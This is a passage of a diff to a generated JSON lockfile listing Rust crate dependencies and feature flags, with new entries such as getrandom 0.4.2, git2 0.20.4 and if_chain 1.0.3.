"{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"log\",\"req\":\"^0.4\"},{\"name\":\"std\",\"optional\":true,\"package\":\"rustc-std-workspace-std\",\"req\":\"^1.0\"},{\"name\":\"unicode-width\",\"optional\":true,\"req\":\"^0.2.0\"}],\"features\":{\"default\":[\"unicode\"],\"rustc-dep-of-std\":[\"std\",\"core\"],\"unicode\":[\"dep:unicode-width\"]}}", "getrandom_0.2.17": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"name\":\"compiler_builtins\",\"optional\":true,\"req\":\"^0.1\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"name\":\"js-sys\",\"optional\":true,\"req\":\"^0.3\",\"target\":\"cfg(all(any(target_arch = \\\"wasm32\\\", target_arch = \\\"wasm64\\\"), target_os = \\\"unknown\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(unix)\"},{\"default_features\":false,\"name\":\"wasi\",\"req\":\"^0.11\",\"target\":\"cfg(target_os = \\\"wasi\\\")\"},{\"default_features\":false,\"name\":\"wasm-bindgen\",\"optional\":true,\"req\":\"^0.2.62\",\"target\":\"cfg(all(any(target_arch = \\\"wasm32\\\", target_arch = \\\"wasm64\\\"), target_os = \\\"unknown\\\"))\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3.18\",\"target\":\"cfg(all(any(target_arch = \\\"wasm32\\\", target_arch = \\\"wasm64\\\"), target_os = \\\"unknown\\\"))\"}],\"features\":{\"custom\":[],\"js\":[\"wasm-bindgen\",\"js-sys\"],\"linux_disable_fallback\":[],\"rdrand\":[],\"rustc-dep-of-std\":[\"compiler_builtins\",\"core\",\"libc/rustc-dep-of-std\",\"wasi/rustc-dep-of-std\"],\"std\":[],\"test-in-browser\":[]}}", "getrandom_0.3.4": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"js-sys\",\"optional\":true,\"req\":\"^0.3.77\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", any(target_os = \\\"unknown\\\", target_os = \\\"none\\\"), target_feature = \\\"atomics\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(all(any(target_os = \\\"linux\\\", target_os = \\\"android\\\"), not(any(all(target_os = \\\"linux\\\", target_env = \\\"\\\"), getrandom_backend = \\\"custom\\\", getrandom_backend = \\\"linux_raw\\\", getrandom_backend = \\\"rdrand\\\", getrandom_backend = \\\"rndr\\\"))))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"dragonfly\\\", target_os = \\\"freebsd\\\", target_os = \\\"hurd\\\", target_os = \\\"illumos\\\", target_os = \\\"cygwin\\\", all(target_os = \\\"horizon\\\", target_arch = \\\"arm\\\")))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"haiku\\\", target_os = \\\"redox\\\", target_os = \\\"nto\\\", target_os = \\\"aix\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"ios\\\", target_os = \\\"visionos\\\", target_os = \\\"watchos\\\", target_os = \\\"tvos\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"macos\\\", target_os = \\\"openbsd\\\", target_os = \\\"vita\\\", target_os = \\\"emscripten\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(target_os = \\\"netbsd\\\")\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(target_os = \\\"solaris\\\")\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(target_os = \\\"vxworks\\\")\"},{\"default_features\":false,\"name\":\"r-efi\",\"req\":\"^5.1\",\"target\":\"cfg(all(target_os = \\\"uefi\\\", getrandom_backend = \\\"efi_rng\\\"))\"},{\"default_features\":false,\"name\":\"wasip2\",\"req\":\"^1\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", target_os = \\\"wasi\\\", target_env = \\\"p2\\\"))\"},{\"default_features\":false,\"name\":\"wasm-bindgen\",\"optional\":true,\"req\":\"^0.2.98\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", any(target_os = \\\"unknown\\\", target_os = \\\"none\\\")))\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", any(target_os = \\\"unknown\\\", target_os = \\\"none\\\")))\"}],\"features\":{\"std\":[],\"wasm_js\":[\"dep:wasm-bindgen\",\"dep:js-sys\"]}}", + "getrandom_0.4.2": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"js-sys\",\"optional\":true,\"req\":\"^0.3.77\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", any(target_os = \\\"unknown\\\", target_os = \\\"none\\\"), target_feature = \\\"atomics\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(all(any(target_os = \\\"linux\\\", target_os = \\\"android\\\"), not(any(all(target_os = \\\"linux\\\", target_env = \\\"\\\"), getrandom_backend = \\\"custom\\\", getrandom_backend = \\\"linux_raw\\\", getrandom_backend = \\\"rdrand\\\", getrandom_backend = \\\"rndr\\\"))))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"dragonfly\\\", target_os = \\\"freebsd\\\", target_os = \\\"hurd\\\", target_os = \\\"illumos\\\", target_os = \\\"cygwin\\\", all(target_os = \\\"horizon\\\", target_arch = \\\"arm\\\")))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"haiku\\\", target_os = \\\"redox\\\", target_os = \\\"nto\\\", target_os = \\\"aix\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"ios\\\", target_os = \\\"visionos\\\", target_os = \\\"watchos\\\", target_os = \\\"tvos\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(any(target_os = \\\"macos\\\", target_os = \\\"openbsd\\\", target_os = \\\"vita\\\", target_os = \\\"emscripten\\\"))\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(target_os = \\\"netbsd\\\")\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(target_os = \\\"solaris\\\")\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.154\",\"target\":\"cfg(target_os = \\\"vxworks\\\")\"},{\"default_features\":false,\"name\":\"r-efi\",\"req\":\"^6\",\"target\":\"cfg(all(target_os = \\\"uefi\\\", getrandom_backend = \\\"efi_rng\\\"))\"},{\"name\":\"rand_core\",\"optional\":true,\"req\":\"^0.10.0\"},{\"default_features\":false,\"name\":\"wasip2\",\"req\":\"^1\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", target_os = \\\"wasi\\\", target_env = \\\"p2\\\"))\"},{\"name\":\"wasip3\",\"req\":\"^0.4\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", target_os = \\\"wasi\\\", target_env = \\\"p3\\\"))\"},{\"default_features\":false,\"name\":\"wasm-bindgen\",\"optional\":true,\"req\":\"^0.2.98\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", any(target_os = \\\"unknown\\\", target_os = \\\"none\\\")))\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3\",\"target\":\"cfg(all(target_arch = \\\"wasm32\\\", any(target_os = \\\"unknown\\\", target_os = \\\"none\\\")))\"}],\"features\":{\"std\":[],\"sys_rng\":[\"dep:rand_core\"],\"wasm_js\":[\"dep:wasm-bindgen\",\"dep:js-sys\"]}}", "gif_0.14.1": "{\"dependencies\":[{\"name\":\"color_quant\",\"optional\":true,\"req\":\"^1.1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7.0\"},{\"kind\":\"dev\",\"name\":\"glob\",\"req\":\"^0.3\"},{\"kind\":\"dev\",\"name\":\"png\",\"req\":\"^0.18.0\"},{\"kind\":\"dev\",\"name\":\"rayon\",\"req\":\"^1.10.0\"},{\"name\":\"weezl\",\"req\":\"^0.1.10\"}],\"features\":{\"color_quant\":[\"dep:color_quant\"],\"default\":[\"raii_no_panic\",\"std\",\"color_quant\"],\"raii_no_panic\":[],\"std\":[]}}", "gimli_0.32.3": "{\"dependencies\":[{\"name\":\"alloc\",\"optional\":true,\"package\":\"rustc-std-workspace-alloc\",\"req\":\"^1.0.0\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"default_features\":false,\"name\":\"fallible-iterator\",\"optional\":true,\"req\":\"^0.3.0\"},{\"name\":\"indexmap\",\"optional\":true,\"req\":\"^2.0.0\"},{\"default_features\":false,\"name\":\"stable_deref_trait\",\"optional\":true,\"req\":\"^1.1.0\"},{\"kind\":\"dev\",\"name\":\"test-assembler\",\"req\":\"^0.1.3\"}],\"features\":{\"default\":[\"read-all\",\"write\"],\"endian-reader\":[\"read\",\"dep:stable_deref_trait\"],\"fallible-iterator\":[\"dep:fallible-iterator\"],\"read\":[\"read-core\"],\"read-all\":[\"read\",\"std\",\"fallible-iterator\",\"endian-reader\"],\"read-core\":[],\"rustc-dep-of-std\":[\"dep:core\",\"dep:alloc\"],\"std\":[\"fallible-iterator?/std\",\"stable_deref_trait?/std\"],\"write\":[\"dep:indexmap\"]}}", "git+https://github.com/dzbarsky/rules_rust?rev=b56cbaa8465e74127f1ea216f813cd377295ad81#b56cbaa8465e74127f1ea216f813cd377295ad81_runfiles": "{\"dependencies\":[],\"features\":{},\"strip_prefix\":\"\"}", @@ -874,6 +889,8 @@ "git+https://github.com/nornagon/ratatui?branch=nornagon-v0.29.0-patch#9b2ad1298408c45918ee9f8241a6f95498cdbed2_ratatui": "{\"dependencies\":[{\"name\":\"bitflags\"},{\"name\":\"cassowary\"},{\"name\":\"compact_str\"},{\"default_features\":true,\"features\":[],\"name\":\"crossterm\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"document-features\",\"optional\":true},{\"name\":\"indoc\"},{\"name\":\"instability\"},{\"name\":\"itertools\"},{\"name\":\"lru\"},{\"default_features\":true,\"features\":[],\"name\":\"palette\",\"optional\":true},{\"name\":\"paste\"},{\"default_features\":true,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true},{\"default_features\":true,\"features\":[\"derive\"],\"name\":\"strum\",\"optional\":false},{\"default_features\":true,\"features\":[],\"name\":\"termwiz\",\"optional\":true},{\"default_features\":true,\"features\":[\"local-offset\"],\"name\":\"time\",\"optional\":true},{\"name\":\"unicode-segmentation\"},{\"name\":\"unicode-truncate\"},{\"name\":\"unicode-width\"},{\"default_features\":true,\"features\":[],\"name\":\"termion\",\"optional\":true,\"target\":\"cfg(not(windows))\"}],\"features\":{\"all-widgets\":[\"widget-calendar\"],\"crossterm\":[\"dep:crossterm\"],\"default\":[\"crossterm\",\"underline-color\"],\"macros\":[],\"palette\":[\"dep:palette\"],\"scrolling-regions\":[],\"serde\":[\"dep:serde\",\"bitflags/serde\",\"compact_str/serde\"],\"termion\":[\"dep:termion\"],\"termwiz\":[\"dep:termwiz\"],\"underline-color\":[\"dep:crossterm\"],\"unstable\":[\"unstable-rendered-line-info\",\"unstable-widget-ref\",\"unstable-backend-writer\"],\"unstable-backend-writer\":[],\"unstable-rendered-line-info\":[],\"unstable-widget-ref\":[],\"widget-calendar\":[\"dep:time\"]},\"strip_prefix\":\"\"}", "git+https://github.com/openai-oss-forks/tokio-tungstenite?rev=132f5b39c862e3a970f731d709608b3e6276d5f6#132f5b39c862e3a970f731d709608b3e6276d5f6_tokio-tungstenite": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"sink\",\"std\"],\"name\":\"futures-util\",\"optional\":false},{\"name\":\"log\"},{\"default_features\":true,\"features\":[],\"name\":\"native-tls-crate\",\"optional\":true,\"package\":\"native-tls\"},{\"default_features\":false,\"features\":[],\"name\":\"rustls\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"rustls-native-certs\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"rustls-pki-types\",\"optional\":true},{\"default_features\":false,\"features\":[\"io-util\"],\"name\":\"tokio\",\"optional\":false},{\"default_features\":true,\"features\":[],\"name\":\"tokio-native-tls\",\"optional\":true},{\"default_features\":false,\"features\":[],\"name\":\"tokio-rustls\",\"optional\":true},{\"default_features\":false,\"features\":[],\"name\":\"tungstenite\",\"optional\":false},{\"default_features\":true,\"features\":[],\"name\":\"webpki-roots\",\"optional\":true}],\"features\":{\"__rustls-tls\":[\"rustls\",\"rustls-pki-types\",\"tokio-rustls\",\"stream\",\"tungstenite/__rustls-tls\",\"handshake\"],\"connect\":[\"stream\",\"tokio/net\",\"handshake\"],\"default\":[\"connect\",\"handshake\"],\"handshake\":[\"tungstenite/handshake\"],\"native-tls\":[\"native-tls-crate\",\"tokio-native-tls\",\"stream\",\"tungstenite/native-tls\",\"handshake\"],\"native-tls-vendored\":[\"native-tls\",\"native-tls-crate/vendored\",\"tungstenite/native-tls-vendored\"],\"proxy\":[\"tungstenite/proxy\",\"tokio/net\",\"handshake\"],\"rustls-tls-native-roots\":[\"__rustls-tls\",\"rustls-native-certs\"],\"rustls-tls-webpki-roots\":[\"__rustls-tls\",\"webpki-roots\"],\"stream\":[],\"url\":[\"tungstenite/url\"]},\"strip_prefix\":\"\"}", "git+https://github.com/openai-oss-forks/tungstenite-rs?rev=9200079d3b54a1ff51072e24d81fd354f085156f#9200079d3b54a1ff51072e24d81fd354f085156f_tungstenite": "{\"dependencies\":[{\"name\":\"bytes\"},{\"default_features\":true,\"features\":[],\"name\":\"data-encoding\",\"optional\":true},{\"default_features\":false,\"features\":[\"zlib\"],\"name\":\"flate2\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"headers\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"http\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"httparse\",\"optional\":true},{\"name\":\"log\"},{\"default_features\":true,\"features\":[],\"name\":\"native-tls-crate\",\"optional\":true,\"package\":\"native-tls\"},{\"name\":\"rand\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"rustls\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"rustls-native-certs\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"rustls-pki-types\",\"optional\":true},{\"default_features\":true,\"features\":[],\"name\":\"sha1\",\"optional\":true},{\"name\":\"thiserror\"},{\"default_features\":true,\"features\":[],\"name\":\"url\",\"optional\":true},{\"name\":\"utf-8\"},{\"default_features\":true,\"features\":[],\"name\":\"webpki-roots\",\"optional\":true}],\"features\":{\"__rustls-tls\":[\"rustls\",\"rustls-pki-types\"],\"default\":[\"handshake\"],\"deflate\":[\"headers\",\"flate2\"],\"handshake\":[\"data-encoding\",\"headers\",\"httparse\",\"sha1\"],\"headers\":[\"http\",\"dep:headers\"],\"native-tls\":[\"native-tls-crate\"],\"native-tls-vendored\":[\"native-tls\",\"native-tls-crate/vendored\"],\"proxy\":[\"handshake\"],\"rustls-tls-native-roots\":[\"__rustls-tls\",\"rustls-native-certs\"],\"rustls-tls-webpki-roots\":[\"__rustls-tls\",\"webpki-roots\"],\"url\":[\"dep:url\"]},\"strip_prefix\":\"\"}", + "git+https://github.com/rust-lang/rust-clippy?rev=20ce69b9a63bcd2756cd906fe0964d1e901e042a#20ce69b9a63bcd2756cd906fe0964d1e901e042a_clippy_utils": "{\"dependencies\":[{\"default_features\":false,\"features\":[],\"name\":\"arrayvec\",\"optional\":false},{\"name\":\"itertools\"},{\"name\":\"rustc_apfloat\"},{\"default_features\":true,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":false}],\"features\":{},\"strip_prefix\":\"clippy_utils\"}", + "git2_0.20.4": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2.1.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"clap\",\"req\":\"^4.4.13\"},{\"name\":\"libc\",\"req\":\"^0.2\"},{\"name\":\"libgit2-sys\",\"req\":\"^0.18.3\"},{\"name\":\"log\",\"req\":\"^0.4.8\"},{\"name\":\"openssl-probe\",\"optional\":true,\"req\":\"^0.1\",\"target\":\"cfg(all(unix, not(target_os = \\\"macos\\\")))\"},{\"name\":\"openssl-sys\",\"optional\":true,\"req\":\"^0.9.45\",\"target\":\"cfg(all(unix, not(target_os = \\\"macos\\\")))\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.1.0\"},{\"features\":[\"formatting\"],\"kind\":\"dev\",\"name\":\"time\",\"req\":\"^0.3.37\"},{\"name\":\"url\",\"req\":\"^2.5.4\"}],\"features\":{\"default\":[\"ssh\",\"https\"],\"https\":[\"libgit2-sys/https\",\"openssl-sys\",\"openssl-probe\"],\"ssh\":[\"libgit2-sys/ssh\"],\"unstable\":[],\"vendored-libgit2\":[\"libgit2-sys/vendored\"],\"vendored-openssl\":[\"openssl-sys/vendored\",\"libgit2-sys/vendored-openssl\"],\"zlib-ng-compat\":[\"libgit2-sys/zlib-ng-compat\"]}}", "glob_0.3.3": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\"},{\"kind\":\"dev\",\"name\":\"tempdir\",\"req\":\"^0.3\"}],\"features\":{}}", "globset_0.4.18": "{\"dependencies\":[{\"name\":\"aho-corasick\",\"req\":\"^1.1.1\"},{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1.3.2\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"bstr\",\"req\":\"^1.6.2\"},{\"kind\":\"dev\",\"name\":\"glob\",\"req\":\"^0.3.1\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.20\"},{\"default_features\":false,\"features\":[\"std\",\"perf\",\"syntax\",\"meta\",\"nfa\",\"hybrid\"],\"name\":\"regex-automata\",\"req\":\"^0.4.0\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"regex-syntax\",\"req\":\"^0.8.0\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.188\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.107\"}],\"features\":{\"arbitrary\":[\"dep:arbitrary\"],\"default\":[\"log\"],\"serde1\":[\"serde\"],\"simd-accel\":[]}}", "gzip-header_1.0.0": "{\"dependencies\":[{\"name\":\"crc32fast\",\"req\":\"^1.2.1\"}],\"features\":{}}", @@ -894,6 +911,7 @@ "hkdf_0.12.4": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"blobby\",\"req\":\"^0.3\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.2.2\"},{\"name\":\"hmac\",\"req\":\"^0.12.1\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"sha1\",\"req\":\"^0.10\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"sha2\",\"req\":\"^0.10\"}],\"features\":{\"std\":[\"hmac/std\"]}}", "hmac_0.12.1": "{\"dependencies\":[{\"features\":[\"mac\"],\"name\":\"digest\",\"req\":\"^0.10.3\"},{\"features\":[\"dev\"],\"kind\":\"dev\",\"name\":\"digest\",\"req\":\"^0.10\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.2.2\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"md-5\",\"req\":\"^0.10\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"sha-1\",\"req\":\"^0.10\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"sha2\",\"req\":\"^0.10\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"streebog\",\"req\":\"^0.10\"}],\"features\":{\"reset\":[],\"std\":[\"digest/std\"]}}", "home_0.5.12": "{\"dependencies\":[{\"features\":[\"Win32_Foundation\",\"Win32_UI_Shell\",\"Win32_System_Com\"],\"name\":\"windows-sys\",\"req\":\"^0.61\",\"target\":\"cfg(windows)\"}],\"features\":{}}", + "home_0.5.9": "{\"dependencies\":[{\"features\":[\"Win32_Foundation\",\"Win32_UI_Shell\",\"Win32_System_Com\"],\"name\":\"windows-sys\",\"req\":\"^0.52\",\"target\":\"cfg(windows)\"}],\"features\":{}}", "hostname_0.4.2": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(any(unix, target_os = \\\"redox\\\"))\"},{\"kind\":\"dev\",\"name\":\"similar-asserts\",\"req\":\"^1.6.1\"},{\"kind\":\"dev\",\"name\":\"version-sync\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"windows-bindgen\",\"req\":\"^0.65\"},{\"name\":\"windows-link\",\"req\":\"^0.2\",\"target\":\"cfg(target_os = \\\"windows\\\")\"}],\"features\":{\"default\":[],\"set\":[]}}", "hound_3.5.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"cpal\",\"req\":\"^0.2.12\"}],\"features\":{}}", "http-body-util_0.1.3": "{\"dependencies\":[{\"name\":\"bytes\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"futures-core\",\"req\":\"^0.3\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"futures-util\",\"req\":\"^0.3\"},{\"name\":\"http\",\"req\":\"^1\"},{\"name\":\"http-body\",\"req\":\"^1\"},{\"name\":\"pin-project-lite\",\"req\":\"^0.2\"},{\"features\":[\"sync\"],\"name\":\"tokio\",\"optional\":true,\"req\":\"^1\"},{\"features\":[\"macros\",\"rt\",\"sync\",\"rt-multi-thread\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1\"}],\"features\":{\"channel\":[\"dep:tokio\"],\"default\":[],\"full\":[\"channel\"]}}", @@ -927,9 +945,11 @@ "icu_properties_2.1.2": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"databake\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"name\":\"icu_collections\",\"req\":\"~2.1.1\"},{\"default_features\":false,\"features\":[\"zerovec\"],\"name\":\"icu_locale_core\",\"req\":\"^2.1.1\"},{\"default_features\":false,\"name\":\"icu_properties_data\",\"optional\":true,\"req\":\"~2.1.2\"},{\"default_features\":false,\"name\":\"icu_provider\",\"req\":\"^2.1.1\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.220\"},{\"default_features\":false,\"name\":\"unicode-bidi\",\"optional\":true,\"req\":\"^0.3.11\"},{\"default_features\":false,\"features\":[\"yoke\",\"zerofrom\"],\"name\":\"zerotrie\",\"req\":\"^0.2.0\"},{\"default_features\":false,\"features\":[\"derive\",\"yoke\"],\"name\":\"zerovec\",\"req\":\"^0.11.3\"}],\"features\":{\"alloc\":[\"zerovec/alloc\",\"icu_collections/alloc\",\"serde?/alloc\"],\"compiled_data\":[\"dep:icu_properties_data\",\"icu_provider/baked\"],\"datagen\":[\"serde\",\"dep:databake\",\"zerovec/databake\",\"icu_collections/databake\",\"icu_locale_core/databake\",\"zerotrie/databake\",\"icu_provider/export\"],\"default\":[\"compiled_data\"],\"serde\":[\"dep:serde\",\"icu_locale_core/serde\",\"zerovec/serde\",\"icu_collections/serde\",\"icu_provider/serde\",\"zerotrie/serde\"],\"unicode_bidi\":[\"dep:unicode-bidi\"]}}", "icu_properties_data_2.1.2": "{\"dependencies\":[],\"features\":{}}", "icu_provider_2.1.1": "{\"dependencies\":[{\"name\":\"bincode\",\"optional\":true,\"req\":\"^1.3.1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"databake\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"name\":\"displaydoc\",\"req\":\"^0.2.3\"},{\"name\":\"erased-serde\",\"optional\":true,\"req\":\"^0.4.0\"},{\"default_features\":false,\"name\":\"icu_locale_core\",\"req\":\"^2.1.1\"},{\"default_features\":false,\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.17\"},{\"default_features\":false,\"name\":\"postcard\",\"optional\":true,\"req\":\"^1.0.3\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.220\"},{\"name\":\"serde_json\",\"optional\":true,\"req\":\"^1.0.45\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.45\"},{\"default_features\":false,\"name\":\"stable_deref_trait\",\"optional\":true,\"req\":\"^1.2.0\"},{\"default_features\":false,\"name\":\"writeable\",\"optional\":true,\"req\":\"^0.6.0\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"yoke\",\"req\":\"^0.8.0\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"zerofrom\",\"req\":\"^0.1.3\"},{\"default_features\":false,\"name\":\"zerotrie\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"zerovec\",\"req\":\"^0.11.3\"}],\"features\":{\"alloc\":[\"icu_locale_core/alloc\",\"serde?/alloc\",\"yoke/alloc\",\"zerofrom/alloc\",\"zerovec/alloc\",\"zerotrie?/alloc\",\"dep:stable_deref_trait\",\"dep:writeable\"],\"baked\":[\"dep:zerotrie\",\"dep:writeable\"],\"deserialize_bincode_1\":[\"serde\",\"dep:bincode\",\"std\"],\"deserialize_json\":[\"serde\",\"dep:serde_json\"],\"deserialize_postcard_1\":[\"serde\",\"dep:postcard\"],\"export\":[\"serde\",\"dep:erased-serde\",\"dep:databake\",\"std\",\"sync\",\"dep:postcard\",\"zerovec/databake\"],\"logging\":[\"dep:log\"],\"serde\":[\"dep:serde\",\"yoke/serde\"],\"std\":[\"alloc\"],\"sync\":[],\"zerotrie\":[]}}", + "id-arena_2.3.0": "{\"dependencies\":[{\"name\":\"rayon\",\"optional\":true,\"req\":\"^1.0.3\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "ident_case_1.0.1": "{\"dependencies\":[],\"features\":{}}", "idna_1.1.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"assert_matches\",\"req\":\"^1.3\"},{\"kind\":\"dev\",\"name\":\"bencher\",\"req\":\"^0.1\"},{\"name\":\"idna_adapter\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"features\":[\"const_generics\"],\"name\":\"smallvec\",\"req\":\"^1.13.1\"},{\"kind\":\"dev\",\"name\":\"tester\",\"req\":\"^0.9\"},{\"name\":\"utf8_iter\",\"req\":\"^1.0.4\"}],\"features\":{\"alloc\":[],\"compiled_data\":[\"idna_adapter/compiled_data\"],\"default\":[\"std\",\"compiled_data\"],\"std\":[\"alloc\"]}}", "idna_adapter_1.2.1": "{\"dependencies\":[{\"default_features\":false,\"name\":\"icu_normalizer\",\"req\":\"^2\"},{\"default_features\":false,\"name\":\"icu_properties\",\"req\":\"^2\"}],\"features\":{\"compiled_data\":[\"icu_normalizer/compiled_data\",\"icu_properties/compiled_data\"]}}", + "if_chain_1.0.3": "{\"dependencies\":[],\"features\":{}}", "ignore_0.4.25": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"bstr\",\"req\":\"^1.6.2\"},{\"kind\":\"dev\",\"name\":\"crossbeam-channel\",\"req\":\"^0.5.15\"},{\"name\":\"crossbeam-deque\",\"req\":\"^0.8.3\"},{\"name\":\"globset\",\"req\":\"^0.4.18\"},{\"name\":\"log\",\"req\":\"^0.4.20\"},{\"name\":\"memchr\",\"req\":\"^2.6.3\"},{\"default_features\":false,\"features\":[\"std\",\"perf\",\"syntax\",\"meta\",\"nfa\",\"hybrid\",\"dfa-onepass\"],\"name\":\"regex-automata\",\"req\":\"^0.4.0\"},{\"name\":\"same-file\",\"req\":\"^1.0.6\"},{\"name\":\"walkdir\",\"req\":\"^2.4.0\"},{\"name\":\"winapi-util\",\"req\":\"^0.1.2\",\"target\":\"cfg(windows)\"}],\"features\":{\"simd-accel\":[]}}", "image-webp_0.2.4": "{\"dependencies\":[{\"name\":\"byteorder-lite\",\"req\":\"^0.1.0\"},{\"kind\":\"dev\",\"name\":\"paste\",\"req\":\"^1.0.14\"},{\"kind\":\"dev\",\"name\":\"png\",\"req\":\"^0.17.12\"},{\"name\":\"quick-error\",\"req\":\"^2.0.1\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.8.5\"},{\"kind\":\"dev\",\"name\":\"webp\",\"req\":\"^0.3.0\"}],\"features\":{\"_benchmarks\":[]}}", "image_0.25.9": 